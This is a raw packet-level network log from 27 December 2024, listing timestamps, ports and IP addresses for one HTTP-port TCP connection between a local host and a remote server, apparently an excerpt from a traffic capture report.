Dec 27, 2024 08:50:53.189225912 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.189239025 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.189273119 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.189338923 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.189996958 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.190059900 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.190110922 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.190124989 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.190138102 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.190169096 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.190177917 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.190753937 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.190814018 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.190825939 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.190865993 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.190882921 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.191548109 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.191593885 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.191606045 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.191618919 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.191634893 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.191678047 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.191728115 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.192331076 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.192409992 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.192424059 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.192466021 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.192492962 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.193137884 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.193195105 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.193207979 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.193238974 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.193278074 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.193631887 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.193919897 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.193958044 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.193981886 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.194006920 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.194048882 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.194458008 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.194704056 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.194772005 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.194785118 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.194824934 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.194852114 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.195513010 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.195555925 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.195568085 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.195568085 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.195606947 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.195631981 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.196284056 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.196337938 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.196342945 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.196357012 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.196381092 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.196388006 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.197179079 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.235842943 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.235862970 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.235877037 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.235889912 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.235977888 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.236027956 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.236063004 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.236077070 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.236090899 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.236119032 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.287357092 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.443070889 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.443216085 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.443228006 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.443236113 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.443294048 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.443306923 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.443356991 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.443402052 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.443974972 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.444036007 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.444242001 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.444295883 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.444329023 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.444341898 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.444374084 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.444386959 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.444405079 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.445029020 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.445080996 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.445092916 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.445156097 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.445195913 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.445816040 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.445854902 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.445868015 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.445871115 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.445889950 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.445941925 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.445977926 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.446621895 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.446674109 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.446693897 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.446738005 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.446764946 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.447410107 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.447449923 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.447462082 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.447464943 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.447494030 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.447537899 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.448182106 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.448225021 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.448234081 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.448240042 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.448261976 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.448298931 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.448720932 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.448957920 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.449024916 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.449037075 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.449079990 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.449104071 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.449764967 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.449786901 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.449799061 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.449820995 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.449834108 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.449888945 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.449922085 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.450540066 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.450592995 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.450606108 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.450639009 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.450712919 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.451335907 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.451356888 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.451370001 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.451386929 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.451412916 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.451466084 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.451505899 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.452111959 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.452145100 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.452157974 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.452195883 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.452240944 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.453017950 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.453032970 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.453044891 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.453058958 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.453073025 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.453107119 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.453704119 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.453763962 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.453778028 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.453820944 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.453864098 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.454456091 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.454484940 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.454540014 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.454555035 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.454576015 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.454615116 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.455358982 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.455370903 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.455383062 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.455415010 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.455416918 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.455456018 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.456087112 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.456127882 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.456145048 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.456181049 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.456213951 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.456923008 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.456937075 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.456952095 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.456967115 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.456979036 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.457006931 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.457648993 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.457688093 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.457700968 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.457730055 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.457772017 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.458435059 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.458484888 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.458492994 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.458507061 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.458547115 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.458580971 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.458617926 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.459239960 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.459290981 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.459302902 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.459342003 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.459366083 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.460011959 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.460031986 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.460045099 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.460047960 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.460062981 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.460143089 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.460174084 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.460787058 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.460845947 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.460859060 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.460894108 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.460933924 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.461586952 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.461623907 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.461644888 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.461658955 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.461692095 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.461724043 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.462378979 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.462421894 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.491302013 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.491388083 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.491410017 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.491420984 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.491434097 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.491466045 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.491537094 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.491550922 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.491576910 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.492053032 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.492151022 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.492212057 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.644428015 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.644521952 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.644536018 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.644575119 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.644584894 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.644781113 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.644825935 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.644829988 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.644840956 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.644860029 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.644867897 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.645395041 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.645420074 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.645432949 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.645450115 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.645476103 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.645522118 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.646214962 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.646236897 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.646250963 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.646262884 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.646276951 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.646312952 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.646363974 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.646931887 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.647006035 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.647020102 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.647063017 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.647079945 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.647785902 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.647825003 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.647831917 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.647845030 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.647878885 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.648015022 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.648056030 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.648535013 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.648571968 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.648585081 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.648621082 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.648659945 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.649337053 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.649372101 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.649375916 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.649385929 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.649416924 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.649472952 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.650110960 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.650144100 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.650146961 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.650157928 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.650188923 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.650218964 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.650444031 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.650964975 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.650979996 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.650991917 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.651016951 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.651053905 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.651676893 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.651712894 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.651731968 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.651745081 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.651776075 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.651814938 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.652484894 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.652513027 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.652525902 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.652525902 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.652545929 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.652621031 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.653292894 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.653315067 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.653325081 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.653347969 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.653377056 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.653440952 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.653480053 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.654058933 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.654153109 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.654165983 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.654191971 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.654242992 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.654454947 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.654829025 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.654908895 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.654927015 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.654941082 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.654967070 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.654992104 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.655616045 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.655669928 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.655683041 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.655711889 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.655775070 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.656421900 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.656464100 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.656478882 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.656490088 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.656516075 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.656552076 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.657198906 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.657238007 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.657267094 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.657279968 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.657304049 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.657335997 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.657991886 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.658032894 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.658046961 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.658058882 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.658087015 CET	49752	80	192.168.2.6	185.215.113.16
